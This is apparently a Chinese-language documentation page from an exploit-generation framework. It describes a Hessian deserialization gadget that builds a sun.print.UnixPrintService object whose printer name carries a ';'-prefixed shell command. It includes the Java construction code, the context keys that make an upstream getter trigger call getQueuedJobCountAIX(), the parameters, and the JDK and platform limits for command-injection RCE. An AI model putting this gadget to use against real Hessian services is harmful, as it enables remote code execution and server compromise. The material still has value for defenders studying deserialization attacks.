Skip to content

Latest commit

 

History

History
70 lines (59 loc) · 4.79 KB

File metadata and controls

70 lines (59 loc) · 4.79 KB

UnixPrintService 命令注入(UnixPrintService)

  • 类别:hessian 别名:— 优先级:—
  • 作者:—
  • 依赖linux(仅 Unix/Linux 目标;JDK 8 内置 sun.print.UnixPrintService

作用

构造一个 sun.print.UnixPrintService 实例,并把其构造入参设为 ";" + cmd。当上游通过 getter 触发 getQueuedJobCountAIX() 时,UnixPrintService 内部会以 shell 执行 AIX 打印队列查询命令,从而把注入的 cmd 拼接进命令行实现 命令注入 RCE。是一条不依赖任何第三方库、纯 JDK 的 Hessian getter sink。

链接标签

  • 入口 tags
    • UnixPrintServiceChain —— 本族链的私有标识。
    • HessianGetter / Getter —— 表明本 gadget 是一个「getter sink」,需要由能在 Hessian 反序列化时调用任意 getter 的上游(如 XString/RefWrap 等 Hessian getter 触发器)来驱动。
    • NotForJavaSerializable —— 关键约束:sun.print.UnixPrintService 未实现 Serializable,因此本 gadget 只能用于 Hessian(Hessian 不要求对象实现 Serializable),不能用于 Java 原生反序列化。
    • END —— 本 gadget 是链尾 sink,其后不再衔接其他环。
  • 衔接 nextTags:无(sink,invoke 直接返回最终对象,不再 doCreate)。
  • excludes:无。

源码剖析

public String cmd = "calc;";
public String methodName = "getQueuedJobCountAIX";
public String paramName = "queuedJobCountAIX";

public Object getObject() throws Exception {
    if (OSUtil.isWindows()) {
        throw new RuntimeException("UnixPrintServiceLookup 利用链仅在 Unix/Linux 系统中可用");
    }
    Class<?> ups = Class.forName("sun.print.UnixPrintService");
    Constructor<?> constructor = ups.getDeclaredConstructor(String.class);
    constructor.setAccessible(true);
    Object unixPrintService = constructor.newInstance(";" + this.cmd);
    return unixPrintService;
}
  • 先用 OSUtil.isWindows() 做平台自检:该 sink 依赖 AIX/Unix 平台特有的 lpstat/enq 之类打印命令行为,Windows 上不可用,故直接抛异常。
  • 通过反射拿到 sun.print.UnixPrintService(String) 的私有构造器,setAccessible(true) 后以 ";" + cmd 作为打印机名新建实例。前置的 ; 用于闭合原命令并追加注入命令——真正执行时打印命令会被拼成形如 ... ; <cmd> 的字符串交给 shell。
  • 该对象本身未实现 Serializable,靠 Hessian 的宽松反序列化被还原。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName);
    return this.getObject();
}
  • invoke 不调用 chain.doCreate(本 gadget 是链尾),而是把两个约定写入 GadgetContext
    • SPECIAL_METHOD_NAME_KEY = "getQueuedJobCountAIX" —— 告知上游 getter 触发器:要调用的目标方法是 getQueuedJobCountAIX()(并非标准 JavaBean getter,故走「special method」通道)。
    • GETTER_PARAM_NAME_KEY = "queuedJobCountAIX" —— 对应的属性名,供按属性名反射调用 getter 的上游使用。
  • 实际执行链:Hessian 反序列化 → 上游触发器调用 unixPrintService.getQueuedJobCountAIX()UnixPrintService 内部执行拼接后的打印命令 → cmd 被执行。

参数(@Param)

字段 名称 说明 默认 可选值
cmd Linux命令 要注入执行的命令,示例 calc; "calc;" 任意

methodNameparamName 为公开字段(非 @Param),默认分别为 getQueuedJobCountAIXqueuedJobCountAIX,一般无需改动。

适用版本与原理要点

  • 仅适用于 Unix/Linux 目标,且 JDK 版本需内置 sun.print.UnixPrintService——JDK 高版本已移除该类。作者实测 zulu8u345 中仍存在此类。
  • 仅适用于 Hessian 反序列化:目标类未实现 Serializable,无法走 Java 原生序列化(对应 NotForJavaSerializable 标签)。
  • 命令通过前缀 ; 拼接实现注入,属于 shell 命令拼接,注意 cmd 需符合目标 shell 语法(示例以 ; 结尾)。

所属预设链

  • 自由构件,未直接出现在预设链(usedInChains 为空)。需与能在 Hessian 场景下触发 getter 的上游触发器手动组合使用。

关联

  • 同族兄弟:UnixPrintServiceLookup(同样是 Unix getter 命令注入 sink,走 sun.print.UnixPrintServiceLookup,实例化方式不同)。
  • 上游(需 HessianGetter/Getter 触发器):能在 Hessian 反序列化时按 SPECIAL_METHOD_NAME_KEY 调用任意方法的 getter 触发 gadget(如 XString 系列 / RefWrap 等)。